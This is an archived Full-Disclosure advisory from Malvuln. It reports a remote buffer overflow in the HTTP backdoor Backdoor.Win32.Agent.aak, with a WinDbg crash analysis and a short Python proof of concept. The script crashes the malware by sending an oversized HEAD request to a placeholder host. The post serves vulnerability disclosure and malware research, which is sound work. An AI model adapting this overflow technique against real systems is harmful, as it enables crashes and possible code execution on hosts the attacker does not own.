lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 18 Feb 2021 00:51:23 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.aak / Remote Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/64f2fd4dbd9039e5bc054f475eaa582a_C.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aak
Vulnerability: Remote Buffer Overflow
Description: The HTTP backdoor server HBKDR v0.3 listens on TCP port 8080
and accepts HTTP POST requests, by sending a specially crafted HTTP HEAD
request payload we can trigger buffer overflow and overwrite registers EAX,
ECX  resulting in malware crash and burn.
Type: PE32
MD5: 64f2fd4dbd9039e5bc054f475eaa582a
Vuln ID: MVID-2021-0096
Dropped files:
Disclosure: 02/18/2021

Memory Dump:
(d58.77c): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414111 edx=453b611d esi=00000003
edi=00000003
eip=77dced3c esp=041bd4c4 ebp=041bd654 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77dced3c c21400          ret     14h

0:002> .ecxr
eax=41414111 ebx=0000016c ecx=41414111 edx=453b611d esi=00000001
edi=041bdf1c
eip=0040ab87 esp=041bde04 ebp=041bde40 iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
*** WARNING: Unable to verify checksum for
Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0xab87:
0040ab87 8942fc          mov     dword ptr [edx-4],eax
ds:002b:453b6119=????????

0:002> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87
0040ab87 8942fc          mov     dword ptr [edx-4],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040ab87
(Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x0000ab87)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 453b6119
Attempt to write to address 453b6119

PROCESS_NAME:  Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  453b6119

WRITE_ADDRESS:  453b6119

FOLLOWUP_IP:
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87
0040ab87 8942fc          mov     dword ptr [edx-4],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  0000077c

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE_EXPLOITABLE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE

LAST_CONTROL_TRANSFER:  from 00409b38 to 0040ab87

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
041bde40 00409b38 00000025 00000025 041bde78
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0xab87
041bde50 00403a42 00000025 041bdf1c 041bdf2c
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x9b38
041bde78 00403849 00000001 00000001 00000000
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x3a42
041bde94 004037d8 00000001 00000000 00000001
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x3849
041bdeb0 004019fa 00000001 041bff80 041bdf2c
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x37d8
041bdf1c 0040113f 041bdf7c 00001996 00401023
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x19fa
041bff80 750f8654 0000016c 750f8630 81b7802f
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x113f
041bff94 77dc4a77 0000016c 501ec1db 00000000
kernel32!BaseThreadInitThunk+0x24
041bffdc 77dc4a47 ffffffff 77de9ed1 00000000 ntdll!__RtlUserThreadStart+0x2f
041bffec 00000000 00401023 0000016c 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~2s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a

IMAGE_NAME:  Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  446247ed

FAILURE_BUCKET_ID:
 INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8080

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PBARBAR = "HEAD /"+"\x41"*4489+" HTTP/1."+"\x41"*2000+"\r\n\r\nHost:
"+MALWARE_HOST+"\r\nConnection: close\r\n\r\n"
    s.send(PBARBAR)
    s.close()

    print("Backdoor.Win32.Agent.aak / Remote Buffer Overflow")
    print("MD5: 64f2fd4dbd9039e5bc054f475eaa582a")
    print("By Malvuln");

c=0
if __name__=="__main__":
    for i in range(0, 10):
        c+=1
        doit()
        time.sleep(0.5)
        print(c)



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ